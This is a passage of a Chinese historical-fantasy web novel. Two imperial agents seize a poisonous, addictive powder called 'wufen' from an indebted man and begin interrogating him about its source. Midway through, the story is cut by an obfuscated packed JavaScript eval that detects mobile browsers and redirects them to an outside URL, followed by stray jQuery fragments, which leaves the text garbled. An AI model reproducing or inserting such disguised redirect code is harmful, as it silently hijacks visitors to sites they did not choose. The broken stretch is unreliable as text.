乌粉是什么样的?
赵桓顾忱都没见过,只能靠着自己算是敏锐的嗅觉以及心中燃烧着的恨意掘地三尺来找。
但是谢家大哥还没死,他肯定是知道的。
白岫提着谢家大哥的后脖领,把他按在地上:“问你什么老实交代。”
谢家大哥一抬眼,对上的是沉默不语却突然爆发的赵桓。
赵桓一双本该黑白分明深邃幽静的眼里盛满了盛怒之下的血丝,看着就像野兽被强行塞进了人类的皮。
“乌粉哪里来的。”他语调依然平静,宽大衣袖之中的手微微发抖。
“什么乌粉?”谢家大哥实打实的疑惑。
赵桓快忍不住了,呵了声:“乌毒都入了骨血,还在这装无知呢。可笑。”
乌粉闻起来香气很淡,烧起来却可以传播很远,那吃下去呢?
多半也是有残香的,就像谢家大哥的血里都带着那味道。
“实话和你说吧,你常吃的那东西是有毒的,”顾忱灵机一动,开始诈人,“宫中流出来一批失败品,被人高价倒卖,我等奉命前来搜查。”
谢家大哥慌了神,顾忱又补上一刀:“时间久了,可能会痴傻之类的。”
“我说,我说还不行吗……”谢家大哥慌乱地开口,带着二人进屋。
赵桓步履平稳地走在最前方,他的血流了一点,就像在谪仙的白衣上绽了朵妖红的地府之花。
这时候用大刀指着他的顾忱反倒看起来和蔼可亲一点,至少人家情绪稳定不砸门。
赵桓一拳把门砸出个窟窿那一幕实在太过震撼,他现在战战兢兢的。
不对,这家伙不是边上那个女的的属下吗?
思来想去,周围最可亲的居然还是冷面的督查使。
谢家大哥藏粉的地方十分谨慎,是本古书里面放着一个小纸包。
赵桓手上受了伤,肯定不能碰。顾忱就伸出两根指头,把小纸包提出来。
小心翼翼地展开,二人才终于得见了乌粉的庐山真面目。
那曾经攻陷过一个城的武器,居然是黄白色看起来人畜无害的小小粉末,发着幽幽的香气。
“就这些是吗?”顾忱又把纸包折好,小心翼翼地攥在手里。
“是。”谢家大哥回答得干脆利落。
“吃了这东西什么感觉?”赵桓轻声道。
乌粉是种奇毒。
烧起来,凡人吸了会发疯,修者吸了会陷入心魔,最后悄无声息地死去。
可是吃起来又有什么感觉,能让他一直吸食到骨血里都带着它呢?
本以为能听到谢家大哥老老实实的回答,却只听砰地一声,他跪在地上,膝盖里刺进了木头碎片。
“看好他!”赵桓哑着嗓子厉声道,眼睛一眨不眨地盯着谢家大哥。
顾忱赶紧把手上的纸包放回书里,把书背在身后。
无论什么情况,得先保护好这个。
白岫得令,当即把谢家大哥双手反过来用衣带反绑上。赵桓蹲下身来,看着谢家大哥像蛆一样在地上挣扎着扭动。
目光无神,表情痛苦……这东西有什么好的。
“!”谢家大哥到底也是有两个白岫沉,他死命挣扎,把白岫打了个措手不及。顾忱快准狠一脚踹在脑袋上,特地收了点力道。白沫缓缓流出,她把人踢晕过去了。
“行了,”顾忱收手,“把人带回去,留给赵桓审。”
“好。”赵桓在原地驻足良久,“这背后比我们想象的复杂太多了。”
顾忱翻找着屋子里还有没有其他线索,闻声头也不抬地回道:“有句话怎么说来着,三天不打上房揭瓦,这都多久没打了,房子都被淹了吧。”
顾忱找到了一大摞线索,欠条,各式各样的欠条。
“怪不得这么大个宅院连仆人都没有。”她翻看着,数额都不大,但厚厚一摞的数字就十分惊人了。
街坊邻居的,钱庄的,甚至地痞流氓的。
白岫拖着谢家大哥,和门外衙门的人低声嘱咐几句。
几声“罪有应得”“苍天有眼”之类的飘进赵桓耳朵里,这就是所谓的天道轮回吧。
赵桓回了衙门就开始准备审问,谢家大哥的情况很快就传出来不少千奇百怪的版本。
顾忱却没走,指挥着衙役们收拾残局。
她坐在门槛上,心不在焉地望着脚下的青石板路。
乌粉是怎么流入到这里的?
远东没经历过幽城之变,顾忱对这东西的可怕之处最多也就是道听途说。
当事人赵桓的脸色奇差无比,很显然这件事给他留下的记忆非常深刻,至今仍然无法忘却。
谢小桂至少能卖上三百两银子,那公子可能会给个二百两银子做聘礼什么的,谢家的家底也不少,零零总总加一块千两是有了。
欠条她刚才飞速翻了一遍,估摸着有个二三十张,借款数从三十两银子到一百两银子不等,也得有千两了。
两千多两银子,居然过成这个鬼样子?
那乌粉有多贵就不言而喻了。
轻徭薄赋,国库掏不出钱,远东的军晌都得算计着给,顾忱现在穷得快疯了,恨不得把京城的各大世家倒吊着,让他们把吃进去的银子都吐出来。
结果西幻海还在靠倒卖乌粉赚钱。
那这条线是从何而起?
江州离京城不算远,也就是说,这帮丧心病狂的家伙几乎是在天子脚下做着这种肮脏的生意。
顾忱赵桓一直莫名其妙地觉得自己的一举一动都在别人的算计之中,现在看来这种感觉并不是忧而生怖。
一直有人在背后默默地注视着他们。
她起身活动了下身子,回过头。身后遥遥可见衙门的公正牌匾。
江州的连绵烟雨在今日停歇,太阳迫不及待地让自己耀眼的金芒普照大地。
那“公平正义”四个字就在阳光的照射下分外闪亮,近乎刺眼。
顾忱呵了声,头一次觉得他们辛辛苦苦守护的世道格外可笑。
公平正义。
白岫把和这四个字半点搭不上边的谢家大哥捆成麻花甩到黑屋里的椅子上,等着赵桓处置。
这位爷回衙门之后没有急着提审,反而慢条斯理地翻看着谢家大哥的户籍档案。
白岫知道此事非同小可,自然不敢托大,只好亲自看着谢家大哥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723708|173956||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
黑屋里没有窗户没有蜡烛,他废了好大劲才适应了。
他不知道乌粉是个什么东西。
不过姓谢的吃了发狂,两个燕卫讳莫如深,想必不是什么好东西。
谢家大哥一直抽搐着,他扭动着爬到白岫身边:“求求你……给我一点粉……”
他的眼睛瞪得极圆,目眦欲裂这个词迅速在词汇贫瘠的白岫脑袋里蹦出来。
像是发狂但被困的野兽般毫无理智和尊严。
白岫想退,但退无可退。
他赤手空拳,一身武艺在阴仄的屋里也不好发挥。
白岫有武艺,但他几乎没见过血。太平盛世里,他是武举考上来的,哪里应付过这种瘾君子。
“就一点……不然我会死的……”他的尾音是苦苦的祈求,白岫闭上眼,把人从地上拎起来。
千钧一发之刻,一束光扫过。
“那你就去死吧。”声音冷漠,厌恶不加掩饰。
赵桓提着带刺的藤条,居高临下地看着在地上爬行的谢家大哥。他看到了光,立马抬起脸,那点光却随着门的关闭猛然消失。
“白岫,你可以走了。剩下的交给我。”赵桓冲着不在状态的白岫点点头,“不要外传。”
白岫脑子懵懵的,行尸走肉般出去了。
不要外传什么事?
他今天的经历真可谓是一波三折。
头天上午说有人被杀,中午遇到了嫌犯,两人武艺高强硬是直接跑了。半夜被直属皇帝的燕卫找上,居然就是白天那两个人。人家一来就把事情查了个七七八八,还顺带着揪出一条贩毒的线。
这两个燕卫一个姓赵一个姓顾,姓顾的疑似姓赵的上司。
不对,那姓赵的叫什么来着?
赵桓?
白岫脚下一趔趄差点平地摔,几声惊呼响起,“督查使大人您没事吧!”
白岫摆摆手,强行冷静下来回了自己的屋子。
能把景王爷呼来喝去,还姓顾……
远东王也在这儿?
他俩私底下关系这么好的吗?
“老老实实回答问题,留你全尸。”赵桓掂量着手里的藤鞭,谢家大哥没觉得他在开玩笑。
这人不显山不露水,下手却是极狠,处处露出不要命的迹象。
他甚至赶走了督查使,明显是要下手的节奏。
“我说……我说……”到底是求生的欲望占了上风,谢家大哥求饶道。
“你怎么用的乌粉?”赵桓垂下眼,盯着像是蛆一样不停蠕动的人。
谢家大哥有感觉自己已然命悬一线,也不再纠结这东西黄白色的为什么叫做乌粉,老老实实地交代了:“就是用鼻子吸啊,全吸进去,一个呼吸之间就好了!”
“谁卖的这东西?”赵桓的脸色很难看,乌粉居然还有这种用法,看来他们远远地闻上也会有风险。
“说是给圣上研究的药,因为圣上总是一副精神不济的样子……”谢家大哥斟酌再三,才道。
赵桓没做声。
这理由……
很离谱,但也意外的合适。
就是不知道阿涿自己知不知道这事。